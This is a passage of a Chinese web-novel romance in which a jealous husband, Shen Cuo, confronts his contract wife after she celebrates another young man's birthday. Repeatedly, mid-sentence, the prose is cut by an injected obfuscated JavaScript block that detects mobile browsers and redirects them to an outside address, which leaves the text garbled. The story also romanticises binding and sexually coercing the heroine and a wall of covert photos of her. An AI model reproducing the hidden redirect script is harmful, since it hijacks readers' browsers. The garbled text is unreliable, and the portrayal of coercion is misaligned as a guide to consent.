沈错往下挪了挪镜头:“围裙啊。” 看到他身上的蓝色小熊围裙,对面的腮帮子瞬间鼓了起来,然后又迅速瘪了下去,一副想笑又不敢笑的样子。 “不跟你说了,我要给我老婆**心早餐了。” 他抬手挂掉了电话,掐断通讯之前,还特意嘱咐了一句,“除了调查的事情,其他事情不用汇报,也不用联系我。” 早餐很丰富。 有爱心煎蛋、牛排、章鱼香肠、蘑菇虾滑汤,还有两道甜品。 “老婆快尝尝。” 沈错单手支着下巴,一脸期盼地看向菘蓝。 牛排煎得很嫩,脂香四溢,两颗心形煎蛋还是溏心的,小香肠被雕成章鱼的形状,蘑菇汤里还漂着两颗爱心胡萝卜。 很爱心的爱心早餐了。 “味道不错。” 菘蓝如实夸赞了一句。 沈错嘴角上扬,眸光神采奕奕。 吃完饭,菘蓝趁沈错去了健身房,找佣人要了毛线和毛衣针。 她想织一只卡通小狗,送给许生当钥匙挂坠。 为了避免引起不必要的麻烦,她避开沈错,借口要睡觉,躲在房间里钩线。 但她不知道的是,早就有人把她卖了。 下午的时候,佣人看到沈错,笑嘻嘻禀报道: “少爷,少夫人早上要了毛线和毛衣针,估计是知道你生日要到了,要亲手给你准备礼物呢。” 听到这个消息,沈错看向主卧,深情的眸光像暖春的湖水,几乎要溢出来。 怪不得她一整天都躲在房间里,原来是在偷偷给他准备生日礼物。 他嘴角漾开笑意,心底升起一抹期待,就像嗷嗷待哺的旱地,等待着天降甘霖。 第一百零九章 生日礼物 屋里暖气开得很足,木质地板微微发烫,散发着一股淡淡的柚木香。 菘蓝穿着棉质睡裙,坐在飘窗上用钩针织线。 环形起针,在环里钩几个短针,再拉紧线圈,然后与第1针相连,反复几次后,小狗的围巾就织好了。 她专注地盯着钩针,一根根毛线随着指尖的律动编织成粒状的绒毛。 门外,沈错在偷看。 他看不出她在织什么,但嘴角快翘到了天上。 偷偷看了一会,他转身离开,满心期待着明天的到来。 菘蓝窝在卧室里,织了一下午的毛线玩偶,期间没有任何人来打扰她。 傍晚,她下了楼,看到沈错围着小熊围裙,在厨房里做饭。 她本以为他只是心血来潮做几顿饭,发几条朋友圈显摆一下,没想到竟成了他的日常。 餐桌上全是她爱吃的。 海参炖蛋、竹荪虾滑、黑松露牛肉、红酒羊排、蟹黄汤包...... “老婆,累了吧,快坐下吃饭。” 男人看到她下来了,连忙把她按在椅子上,给她盛了一碗海鲜汤。 菘蓝不太理解。 她又没干什么,累啥? 做饭的人应该是最累的。 沈错支着下巴,笑吟吟地看着她: “老婆,我们明天去老宅怎么样?我让人把那边布置了一番。” 菘蓝有些意外,“沈家还有老宅?” 沈园已经三百年历史了,沈家还有更古老的宅子? 沈错脸上闪过一抹怀念,点了点头道: “嗯嗯,在青山湖那边,青山湖藤萝湾74号,我是在那里出生的。” 青山湖藤萝湾。 菘蓝小口咬着羊排,睫毛轻轻颤了颤,她好像在哪里听过这个名字,总觉得有点耳熟。 “那明天晚一点去可以吗?我上午有点事,要出去一趟,顺便去商场转转。” 明天是许生的生日,她要送他手工礼物,很早之前就说好了的。 “好,那你忙,我们晚上去。” 男人回答的很爽快。 菘蓝眼底掠过一抹诧异,她没想到沈错这么容易就答应了,而且也没要跟着。 她都想好了一万个拒绝他跟着自己的理由。 结果一个都没用上。 ** 第二天一早,菘蓝出了门。 她特意观察了下,没有人跟着,便放心地去了商场。 她要买个好看的礼物盒,把编织好的线条小狗放进去。 她并不知道,海都所有的大型商场,都是沈家的产业。 沈园。 沈错穿着定制的西装马甲,站在穿衣镜前打领带,骨节分明的手捻着金色领带往下绕。 绕着绕着,他突然觉得这领带捆在那双纤细洁白的手腕上,应该也很好看。 他喉结下意识滑动了两下。 “少爷,少夫人在天齐商场。” 沈错:“她买了什么?” “少爷,果然不出您所料,少夫人买了礼物盒和礼品袋。” 听完,男人嘴角微微上扬,眼底眸光流转。 另一边。 菘蓝拎着礼品袋出了商场。 一辆黑车从街角转过来,在她身旁停下。 车窗缓缓摇下,露出一张眉清目秀的脸。 许生比划着手势: 【姐姐,上车,我带你去一个地方。】 想着现在时间还早,菘蓝便上了车,顺手把礼盒递给他: “诺,礼物,生日快乐哦。” 少年眼眸一弯,澄澈的眸子顿时波光粼粼,他将礼物盒紧紧抱在怀里,心坎上一朵接一朵开出了小花。 姐姐真好,他要爱姐姐一辈子。 不对,是永生永世! 【姐姐,我现在能打开吗?】 少年指了指礼物盒,一脸迫切地看着菘蓝。 她点了点头:“可以呀。” 打开盒子,一只可爱的线条小狗趴在盒子底部,睁着黑豆般的眼睛,吐着小舌头,脖子上还系着红色围巾。 萌的人心都化了。 菘蓝:“是你要的手工礼物哦,织了一整天呢,我给它起了个名字,叫开心小狗。” 少年捧着开心小狗,感动得眼泪汪汪,茶褐色的眸子雾蒙蒙的,白皙的双颊因为激动泛着红晕,像染了胭脂,又像醉了酒。 这是他第一次收到手工礼物。 他的父母因为工作的特殊性,常年无法回家,从小到大,每次过生日都是给他寄一堆敷衍的礼物。 他们从没问过真正喜欢什么,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142522|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正想要什么。 其实,他想要的不是手工礼物,而是有人愿意为他停下脚步,用心编织一份独一无二的生日祝福。 【姐姐。】 少年一把抱住菘蓝,线条利落的下颌抵在她的头顶,嗅着她发丝散出的清幽的薄荷香。 他双臂紧紧一环,视若珍宝地圈着她,像是亲昵地拥抱,又像是野心勃勃的禁锢。 他的唇瓣贴在她的颈侧,用唇语传达道: 【谢谢姐姐,爱你,永远。】 许夫人是不准许生跟菘蓝见面的,但基地突然有事,中央一纸调令将她调去了南边。 家事自然不如国事大,她无暇顾及许生,对他放了几句狠话后,便回了基地。 少年正是叛逆的年龄,越不许,他便偏要。 菘蓝轻轻推了推许生。 这里毕竟是大街上,她还是沈错名义上的老婆,要是被人拍到,影响会非常恶劣。 少年不肯放开,手臂箍得紧紧的。 菘蓝蹙了蹙眉,“你.....你放开,这样不好。” 许生唇瓣蠕动了两下,做着口型: 【姐姐,你不喜欢我抱着吗?】 她垂着眸,轻轻道:“不要这样。” 闻言,少年有些失落地松开了手,但很快他又神采奕奕地比划道: 【姐姐,我们去做蛋糕吧!自己做生日蛋糕!】 许生把她带到了一家叫“好丽来”的甜品店。 菘蓝记得好丽来是食品龙头行业姜福记的品牌,而姜福记的创始人,正是许生的外公。 【姐姐,这里不会有人打扰我们。】 少年比划了两下,兴致勃勃地给菘蓝戴上围裙。 他要跟姐姐一起做生日蛋糕。 就在这时。 菘蓝的手机突然响了。 她看了一眼来电显示,心头倏地一跳,点了接听。 电话那头,传来一个慵懒的声音: “老婆,你什么时候回来?” 菘蓝想了想,做个蛋糕也用不了多长时间,便回复道:“大概两个小时后回家。” 沈错:“嗯,好,我先去老宅等你。” 旁边,正往裱花袋里装奶油的许生,听到菘蓝说出回家两个字,手心骤然攥紧,眼底闪过一抹戾气。 第一百一十章 跟姐姐天下第一好 奶油从攥紧的裱花袋里溢了出来,沾得满手都是。 许生抽了张纸巾,沉默着将双手擦干净,然后比划道: 【姐姐,你给他准备了什么?】 菘蓝没有理解他的意思,眨了眨眼睛道:“啊?什么给他准备什么?” 许生双手一顿,眸底闪过一抹惊讶。 难道姐姐不知道沈错跟他是同一天生日? 他跟沈错相差了三岁,但都是腊八节出生的,小时候,他们经常一起过生日。 意识到菘蓝可能还不知道这件事,许生很开心,他连忙比划道: 【我以为姐姐给身边的人都准备了礼物,原来只有我一个人有,我好开心。】 菘蓝:“当然啦,你过生日嘛,而且我很早之前就答应你了。” “叮~” 烤炉里的蛋糕胚好了。 揭开盖子,房间里瞬间弥漫着鸡蛋糕的焦香味。 热腾腾的冒着奶香气。 菘蓝戴上手套把烤到金黄的蛋糕胚从烤炉里拿出来,把蛋糕胚放到转盘上后,开始往上面抹奶油。 刮刀轻轻按在奶油边缘,顺着转盘转一圈,金黄色的蛋糕胚就覆了一层雪。 许生用裱花袋沿着蛋糕边缘画波浪线,漂亮的奶油花边就完成了。 最后再装饰上水果,淋上巧克力酱,生日蛋糕就大功告成。 冬天天黑的早,五六点天空就变得阴沉沉。 菘蓝想着,等吃完蛋糕,她就该走了。 那个狗男人要是等太久,说不定会不高兴。 她点燃蜡烛,关上灯,把蛋糕捧到许生面前,眉眼弯弯道: “许个愿吧。” 烛光温软地跳跃着,她精致的小脸晕着一层柔光,长长的睫毛在烛光下投下一片阴影,像蝴蝶的翅膀。 灯下看美人,越看越美。 许生愣着神,目光痴痴地看着她。 “愣着干嘛,快许愿啊,蜡烛快烧完了。” 菘蓝提醒他。 他收回心神,抿了抿唇角,然后双手交叉,掌心相合,许下心愿。 他希望,姐姐无病无灾,夜夜无梦。 他希望,他永远跟姐姐天下第一好! 他希望,所有觊觎姐姐的人都死掉。 一口气吹完蜡烛,许生把蛋糕最中间的部位分给了菘蓝,因为中间的部位有很多奶油。 他知道她爱吃甜。 【姐姐,我也要送你一个礼物。】 许生比划完手势,从桌子的抽屉里拿出一份文件。 菘蓝打开一看,发现是一份转让协议,她瞬间瞪大了眼睛: “你要把姜福记旗下的所有甜品店送给我?” 许生点了点头。 菘蓝顿了顿,用肯定的语气道: “你外公会打死你的。” 许生摇了摇头,比划道: 【外公给我的,就是我的了,我想怎么处理都行。】 “不,我不能要。” 菘蓝把转让协议推了回去。 这份礼物太贵重了,她消受不起。 她不能要,也不敢要许家的东西。 另一边。 沈家在青山湖的老宅被收拾得很干净,华丽复古的长条形餐桌上摆了很多菜。 大部分是沈错下厨做的,很多是菘蓝爱吃的菜。 他抬起手腕,看了看表,皱眉问道: “她怎么还没来?她在哪?” 旁边的人回道: “少夫人在一家DIY甜品店,少夫人不喜欢有人跟着,我们的人也不敢靠得太近,她估计在给您做蛋糕,想给您一个惊喜呢。” 沈错紧绷的唇角松缓了下来,他轻轻摩挲着无名指的山茶花钻戒,鼻腔溢出一声温柔的尾音: “嗯,不急。” 墙上的分针又走了一圈。 天色暗了下来,云层吸饱了湿冷的空气,拉得很低,像天花板一样压在人们的头顶上。 吃完蛋糕,菘蓝准备离开。 【姐姐,你要走了吗?】 少年垂着头,扯住她的衣角,眼底幽光浮动。 菘蓝点了点头:“嗯,我要走了。” 她再不走,天就彻底黑了。 少年眼中满是不舍,他伸出手,缓缓比划道: 【姐姐,你为什么要回去,那个任务不得不做吗?姐姐你需要钱,我可以给你。】 菘蓝睫毛轻轻颤了颤,她想了想道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他圆润的眼睛微微下垂,用湿漉漉的眼神看着她,像路边夹着尾巴,害怕被人嫌弃的流浪小狗。 菘蓝鼻头一酸:“好,我给你做。” 她实在受不了许生用这种可怜巴巴的眼神看着她。 她给许生倒了杯热茶后,转身去了厨房。 许生低着头,小口小口啜着热茶,蒸腾的水汽给玻璃杯蒙上了一层白雾。 他咬着杯壁,嘴角浅浅翘起一个狡黠的弧度。 第一百一十一章 他醋疯了 墙上的老式挂钟转了一圈又一圈,滴滴答答的走针吵得人心烦意乱。 沈错蹙眉地看了眼时间。 已经晚上十点了,再过两个小时今天就过了。 他想了想,拨通了菘蓝的电话,声音中带着一丝幽怨: “老婆,你还没好吗?都快十二点了。” 电话那头,菘蓝正在喂病恹恹的许生喝小米粥,她敷衍道: “快了快了,我马上过去。” 男人心情瞬间变好,嘴角翘起:“好。” 躺沙发上装病的少年听到两人的对话,眸色暗了暗。 他接过菘蓝手中的碗,强撑着力气喝了几口,然后用手比划道: 【姐姐,你回去吧,你再不回去,哥哥会生气,他脾气不好,我怕他对你发火。】 【他知道你照顾我,肯定不开心,你快回去,我自己可以。】 少年虚弱地比划着手势,动作都发飘。 他强撑着喝完小米粥,突然眉头一皱,用手捂住嘴,努力吞咽了两下,结果还是没忍住,冲着垃圾桶哇地一声吐了出来。 看着吐掉的粥,他红着眼尾,像做错了事情的孩子,很抱歉地冲菘蓝比划手势: 【对不起姐姐,我不是故意的,小米粥很好喝,但是胃太难受了,我没控制住,对不起。】 【不过我没事,姐姐你先回去,我躺一会就好,别让我哥等了。】 他越这样,菘蓝越不好意思离开。 他的胃,是为她饿坏的。 她怎么能在他胃病发作的时候丢下他。 菘蓝想了想道:“没事,不管他,我再陪陪你,你身边也没个人,万一有什么情况怎么办。” 听到这话,少年睫毛轻轻颤了颤,心底生出一种被独宠的幸福感。 姐姐是偏爱他的。 姐姐对他......到底是不一样的...... 【那姐姐可以再陪我两个小时吗?陪我过完今天。】 他微垂的狗狗眼亮晶晶的,一脸期盼地比划着,就像期盼得到糖果的小孩。 菘蓝看了眼时间,想着反正已经很晚了,再晚点也没什么,便回应道: “好。” 许生开心极了,眼底的光芒像燃烧的火炬,亮得惊人。 趁着菘蓝去热粥,他打开手机,发了一条朋友圈。 他给线条小狗钥匙扣拍了张特写,并配上文字: 【生日这天,收到了爱意满满的手工礼物,很独特也很幸福。】 发完之后,他又上传了一张DIY蛋糕的照片,并配文: 【时光像蛋糕一样甜甜蜜蜜。】 青山湖别苑。 桌子上的菜重新上了两遍,燃烧的烛台垂着泪,凝固成一道瀑布。 宅子里安静极了。 佣人和保镖低垂着头,连呼吸都小心翼翼的。 沈错坐在椅子上看手机,屏幕发出的冷光,将他阴沉的脸色照得愈发森寒。 他看到了许生发的朋友圈,也看到了那只线条小狗,以及印有天启商场LOGO的礼品袋。 墙上的指针正好指向了十二点。 钟摆发出一声沉闷的响声,像是讥讽的冷笑。 “呼.......” 沈错缓缓阖上眼,重重吐出一口浊气,将眸底翻涌的暴戾、愤怒、妒意压薄、压薄、再压薄。 可是他的手却不受控制地抖动起来,捏得椅子扶手发出摇摇晃晃的悲鸣。 “啪!” 椅子的扶手生生被他捏断了。 “少......少爷.......” 李顺颤巍巍地喊了一声。 他缓缓睁开眼,黑色的瞳仁往外渗着邪气,他面无表情地勾起嘴角,顶着额头跳动的青筋,吐出一个字: “滚。” 哗啦啦,所有人连滚带爬地跑了出去。 因为他们知道,再不跑,就再也跑不掉了。 所有人离开后,紧闭的房屋里响起恐怖的打砸声。 屋子里像是有一头怪兽,在破坏、冲撞、摧毁一切。 他的躁郁症又发作了。 海都是座不夜城,尽管已经过了午夜,繁华的商业圈依旧人声鼎沸,车辆川流不息。 菘蓝在街角随便拦了一辆车,赶往青山湖藤萝湾。 半道上,她坐的车子突然被一辆布加迪截停,车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142524|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头差点撞上去,司机气得大骂,但看清对方的车标后,他硬生生把嘴边的脏话咽了回去。 菘蓝看到前方的人影后,皱了皱眉道:“我就在这下车吧。” 寒风料峭,她刚下车就打了个冷战。 沈错看着她空空如也的双手,喉咙像吞了一块冰锥,冷彻肺腑,疼得扎心。 他其实还抱了一丝幻想,幻想着她应该也给他准备了生日礼物。 结果并没有。 他直勾勾地盯着她,声音沙哑低沉,隐隐带着一丝怒意: “你今天一直在哪里,在干嘛?” 菘蓝刚想解释,可看着男人一脸怒意地盯着她,话到嘴边,突然一转: “我在外面干嘛,应该不管你事吧,我们只是合同夫妻,又不是真的夫妻,我不管你,你也别管我。” 我们只是合同夫妻,又不是真的夫妻,我不管你,你也别管我。 这句话在男人脑海中循环播报,一遍遍刺激着他濒临崩溃的脆弱神经。 “你以后别管我,我都没管过你。” 这句话一出,男人一直紧绷拉长的神经,嗡得一声断了。 ——嗡—— 耳畔响起一阵忙音,男人红着眼,一手揽住菘蓝的腰,另一只手抄起她的腿弯,强势地将她扛抱了起来。 “啊!你干什么!” 菘蓝没想到沈错会在公众场合做出这举动,手忙脚乱地拍打他的背,试图让他放下。 男人沉着脸,不顾身后的拍打,推开车门,狠狠将肩上的人摔到软垫上。 车内的隔音挡板缓缓升起,隔绝出一个私密空间。 “沈错,你发什么神经!” 她不知道沈错为什么会这么生气,她不过是晚了一点回家,至于这样吗。 再说了,他们也不是真正的夫妻,都有自己的自由。 她伸出手,推开不断逼近的男人,结果双手却被对方一把攥住。 男人两三下扯掉领带,将她的双手举过头顶,死死按住,然后用领带一圈圈将她纤细的手腕缠住,捆紧。 他呼吸很粗重,动作很野蛮,像一只红了眼的疯狗。 第一百一十二章 占有欲决堤 菘蓝被以一种**的姿势禁锢着,她的腿部被人跪压着,双手高举过头顶,饱满的胸部随着呼吸起起伏伏。 男人死死掐着她的细腰,一双大手使劲揉捏,仿佛要将她揉进自己的骨血。 束缚带来的禁锢感让她很窒息,她不适地在车里疯狂尖叫: “沈错你疯了!你快放开我!” 他不放,像怨鬼一样缠着她,漆黑的眸底情绪翻涌。 他已经忍了很久了。 他一直一直在忍她。 可她一次一次挑战他忍耐的极限。 她顶替徐幼蓝嫁给他,她欺骗他,说只要他对她好,她就死心塌地跟着他,哪怕他是神经病,是一个随时会失控的怪物。 她身份败露,他帮她隐瞒,动用权力净网,把干妈调走,不让任何人伤害她。 她跟很多男人有牵扯,那些男人甚至给他发亲密照片,直接骑脸输出,他也忍了,他安慰自己那都是过去的事情。 他害怕情绪失控伤到她,宁愿自残也不对她动手。 她给别的男人做过爱心早餐,他羡慕嫉妒恨,他也想吃她做的饭菜,但他舍不得她下厨,她那么娇嫩的肌肤,怎么能被烟熏火燎,于是他给她做,把她捧在手心呵护。 可是她转头给别的男人过生日,给别的男人做手工礼物,给别的男人做生日蛋糕。 而他什么都没有,连一句生日快乐都没有。 她还不让他管他,他问一句她就生气,他连过问她的资格都没有。 她还觉得他生气简直莫名其妙。 他为什么生气,很难理解吗? 男人眼底泛着病态的红,他俯下身子,撕开冷静的面具,手指粗暴地在菘蓝的红唇上,他哑着嗓子问道: “你去见那小绿茶,为什么还要涂口红?” 她给别的男人过生日,还精心打扮过了。 过生日就算了,为什么还要精心打扮。 他一遍又一遍地问,偏执得可怕。 菘蓝也是第一次看到这样的沈错,像个复读机一样,一直一直重复着一句话。 她背脊激起一阵细小的战栗,但还是仰起脸,一脸倔强道: “沈错先生,我们只是协议婚约,我不是你的人,请你不要对我有这么强的占有欲好吗? 我在沈家,配合你,扮演好你的妻子,但是我在外面做什么事,交什么朋友,化什么样的妆,都跟你无关。” 她真的很讨厌这种强制的禁锢和凝视,骨子里反感和恶心。 听到菘蓝对自己的称呼,沈错漆黑的眼眸转了转,他蹙着眉道:“你叫我什么?” “沈错先生啊,难不成喊你,沈错老板?” 她手腕被领带捆得生疼,骨子里的叛逆像野草一样疯狂生长。 她又开始故意气人。 谁不让她好过,她也不让谁好过。 沈错:“老板?” 菘蓝:“对啊,不然呢?我们之间还有什么别的关系吗?” 沈错脸色又冷了几分,但他却偏偏笑着道:“那你这个员工挺不合格。” “哦,那您要开除我吗?” “不,我只想占有你。” 说完,男人扣住她的后脑勺,冲着她的唇狠狠吻了上去。 粗暴、急躁、带着决堤的占有欲。 他受不了了,也忍不了了,**该怎么缓解这种情绪,他压制不住了,他也不想再控制了。 “唔......” 跟平时的调情不同,男人的动作十分蛮横,他像输光了家产气急败坏的赌徒,红着眼睛跟人玩命。 菘蓝这下真生气了,她狠狠咬了男人的舌头。 鲜血在口腔里蔓延,舌尖的疼痛让男人皱了皱眉,他眸色一片暗沉,冲着菘蓝裸露的肩头狠狠咬了一口。 他在她的肌肤上留下一个带血的牙印,然后又温柔地反复舔舐。 极致的痒意和极致的痛相互切换,要把人逼疯。 他的手在她的身上游走、蛮横地留下各种各样的痕迹。 他的眼底,是浓浓的占有欲。 他一边吻一边撕咬,像惩罚又像泄愤,更像吞噬羊羔的野兽。 感受着男人越来越烫的身体,越来越粗重的喘息,不断下滑的双手,菘蓝有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142525|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕了。 她十分清楚男人身体的这种变化代表着什么。 糟了,这男人好像要来真的。 菘蓝扭动着身子,哑着嗓子,带着一丝颤音道: “沈错,你要是真对我做了这种事情,你心上人要是知道了,她还要你吗?” “!?” 男人动作猛地一顿,不可置信地看着她:“你说什么?” 菘蓝梗着脖子,怒气冲冲地吼道: “我说你是个花心滥情的渣男!明明都有心上人了,还对别的女人恋恋不忘,得不到就毁掉,得不到就硬上。 我不知道你是不是为了满足自己变态的攀比欲、控制欲和占有欲,所以才喜欢强迫别人!” 一连串的话砸下来,砸得沈错有些找不着北。 他看着菘蓝气红的小脸,愣了愣,试图去理解她说的话。 半晌,他眯起眸子道: “你该不会以为,我跟你签夫妻合同,是为了娶一个正妻在家里放着,然后方便出去养小三吧?” 菘蓝听完,轻轻吸了吸鼻子,一脸鄙夷道: “小三?不是心上人吗?还是说,你在外面不止一个女人?” 她一口气说完,突然又觉得自己说得很奇怪。 不是,她这话怎么听着.......就是有种说不出的怪异。 “算了,这些跟我也没关系,你当我没问,你也不用跟我再说什么,我不想听。” 她抢在男人开口之前说了一大串话。 沈错静静看着她,狭长的眸子闪过一抹幽光:“谁跟你说我在外面有心上人?” 菘蓝:“李顺啊。” 沈错:“..........” ............. 半个小时后。 车子缓缓停在了青山湖藤萝湾74号。 车门打开,沈错率先下了车,他脸色阴沉,步履如风。 哐当一声。 他一脚踹开门口的铁门,冲着别苑大吼了一声:“李顺!你给我死过来!” 他骨子里的占有欲在疯狂叫嚣。 他的理智和占有欲双双决堤。 第一百一十三章 误会大了 李顺哆哆嗦嗦地站在院子里,小圆脸上的五官挤成了一个囧字,他扑通一声跪到地上,抱住沈错的大腿哭嚎: “呜呜呜,少爷我错了,我真不是故意的!” 他发誓,他绝对不是故意的,他只是不小心说漏嘴了。 他对少爷忠心耿耿,绝对不可能背叛少爷! 菘蓝抱着胳膊站在旁边,脸上淡淡的,没什么表情,只是朝沈错投去一抹讥讽的笑意。 看吧,这样闹开了,就没意思了。 何必呢? 接收到菘蓝讥讽的眼神,又低头看看抱着自己大腿痛哭的李顺,沈错又气又怒,气着气着就笑出来了。 事实证明,人在无语的时候是真会被气笑。 “呜呜呜,少爷我真的没有背叛你,我只是说漏了嘴。” 李顺还在哭诉,一把鼻涕一把泪。 沈错深吸一口气,努力平复内心翻涌的情绪,在做了几个深呼吸后,他还是没忍住,一脚踹向了李顺肩头。 “**的还给我越描越黑!” “我在外面有个屁的心上人!” 听到这话,在一旁看好戏的菘蓝挑了挑眉。 嗯? 这话什么意思? 沈错上前几步,一把揪住李顺的衣领,将他从地上提溜起来,从齿缝中冷冷蹦出一句: “**听谁说的我在外面有个心上人?” 李顺缩着脑袋,委屈巴巴道: “就是那天,你让我给少夫人看那个明信片和小铁盒,然后你说那是你心上人送的.....” 说完,他看着气到无语的沈错,顿时愣住了,嘴巴张得大大的。 该不会.....他该不会是误会什么了吧? 沈错是真的很想**了。 他没有想到,他跟菘蓝之间居然一直有误会。 他老婆居然一直误会他在外面有心上人! 怪不得...... “李顺你个蠢货!我现在告诉你,我的心上人自始至终只有一个,那就是你们现在的少夫人! 那两样的东西也是她送给我的!你没事能不能别用你那芝麻大点的脑子瞎想啊!” 男人的怒吼声震得松枝上的雪簌簌往下落。 李顺愣住了,菘蓝也愣住了。 她纳闷地看了沈错一眼,觉得很莫名其妙。 不是,她什么时候送那些东西给沈错了? 他们以前不认识吧? 关键是,她怎么一点印象都没有呢? 看着一脸懵逼的菘蓝,沈错伸手拽住她,用气到泛红的眼尾看着她,声音沙哑道: “宝,你误会了,我的心上人自始至终都只有你一个,我带你去个地方。” “啊?什么?” 菘蓝还没反应过来,就被男人拦腰抱起。 “不是,你说话归说话,你抱**嘛啊!放我下来!” “不放!” 男人单手托着菘蓝的臀部,迫使她紧紧搂着自己的脖颈,他手臂上的肌肉线条紧绷着,透着一抹野性和狠劲。 既然老天爷把她推到了自己面前,他是绝对不会放开她的。 他抱着她上了阁楼,老宅的柚木地板发出吱吱呀呀的响声。 哐当一声,他踹开了一扇门。 灯光亮起,菘蓝看清屋内的情况后,惊讶地瞪大了眼睛。 墙上贴着密密麻麻的照片,全是她。 是三四年前的她。 那会,她还没有搞替嫁业务,还在一所特殊儿童学院当助教。 “你怎么......” 怎么会有这么多她当助教时候的照片...... 照片上,她穿着简单的白T恤,牛仔裤,长发梳成了利落的马尾。 那时候的她才十八岁,还很青涩,是阳光下亭亭玉立的栀子花。 菘蓝神情一阵恍惚,心头的疑惑也越来越深,她那时候在偏远的小城镇当助教,也根本不认识什么沈大少爷啊。 至于明信片和小礼物,又是什么时候的事? 她没给哪个男人寄过明信片啊。 “懵了?” 男人轻笑着将她放在了桌子上,双手紧紧圈着她,生怕她跑了一样。 菘蓝确实懵了。 她想破脑袋也想不出她三四年前能跟沈家大少爷有什么交集。 一个住在天上,一个住在地下的。 沈错俯下身子,贴着她的额头,从胸腔中溢出一丝无奈的震动,“青山湖藤萝湾74 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142526|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号,你是一点印象也没有了吗?” “昂......” 菘蓝歪着脑袋想了半天,眉头皱起又松开,“好像有点......好像又没有......” 这地名挺好听的,她好像有点印象,但不多....... “唉......” 男人轻轻叹了一口气,给沈园的管家打了个电话。 半小时后,管家带着两样东西赶来了。 一个是用相框裱起来的明信片,明信片受潮泛黄,内容已经模糊不清了。 另一样就是那个小铁盒。 沈错掏出钥匙,打开了小铁盒上的锁,从中取出一串乌柏木手链,他把手串递给菘蓝: “还记得吗?” 面前的乌柏木手串散发着幽幽沉香,珠子之间用一条红色的编织绳串联。 菘蓝想起,在他们老家有一种说法,红绳串乌柏,无病亦无灾,这种串珠有驱虫安神的功效,一般都是家里人给小孩子戴的,寓意孩子平平安安,健康长大。 这种串珠,她在特殊儿童学院当助教的时候,给院里的孩子们发过。 菘蓝不解地看着沈错,“你为什么会有这个?” 沈错轻笑:“你送的啊。” 菘蓝更加不解了,“我什么时候送你这个了?” 沈错幽幽地看着她:“四年前。” 菘蓝还是一脸茫然,甚至开始怀疑自己是不是失去了一段记忆。 要不然,她怎么一点印象都没有。 “四年前,你在那所特殊儿童学院当助教,闲暇时间还会给出院的孩子寄明信片对不对? 男人紧紧拥抱着她,声音很轻很轻。 菘蓝点了点头:“是啊。” 她有时候还会根据回信的内容,给孩子们寄些小礼品。 “可你又不是孩子,我当助教那会,你都成年了好吗,你是不是弄错了,我可没给你寄过哦。” 她仰着头,歪着脑袋,懵懵的表情像只刚睡醒的小猫。 沈错静静看着菘蓝,眸底的温柔几乎要溢出来,他轻声道: “不,就是你这个小骗子寄的,你一共骗了我两次,一次是22岁的我,一次是4岁的我。” 第一百一十四章 跨越时空的明信片 菘蓝更懵了。 什么22岁,什么4岁,什么骗了他两次。 她想得头都痛了,脑袋像塞了一团热浆糊,咕嘟咕嘟冒着泡泡。 “我不懂你在说什么,你别卖关子了,要说就赶紧说!” 沈错静静看着菘蓝,看着她从面无表情到好奇再到抓狂,心湖的涟漪往外泛了一圈又一圈。 原来,真实的她,也有各种各样的情绪。 不再是漠然、冰冷、拒人千里。 他抿了抿唇,漆黑的瞳仁泛着微光,“你还记不记得,你三四年前,给一个患有躁郁症的小孩回过信? 你假装他过世的妈妈,以他妈妈的口吻回的信?” 菘蓝的思绪瞬间回到四年前那个蝉鸣的夏夜。 她在学校的收发室整理文件,无意中从堆积的材料中翻出一张明信片。 明信片上的字迹很稚嫩,语句很简短,却很令人揪心。 上面写着: “妈妈,他们说你去了天堂,我想去天堂找你。 伯伯说我从楼顶跳下去,就可以去天堂了。 我总是犯病,我摔**我的小狗,我很难过。 他们不让我回家,用冰冷的筷子在我脑袋里搅来搅去。 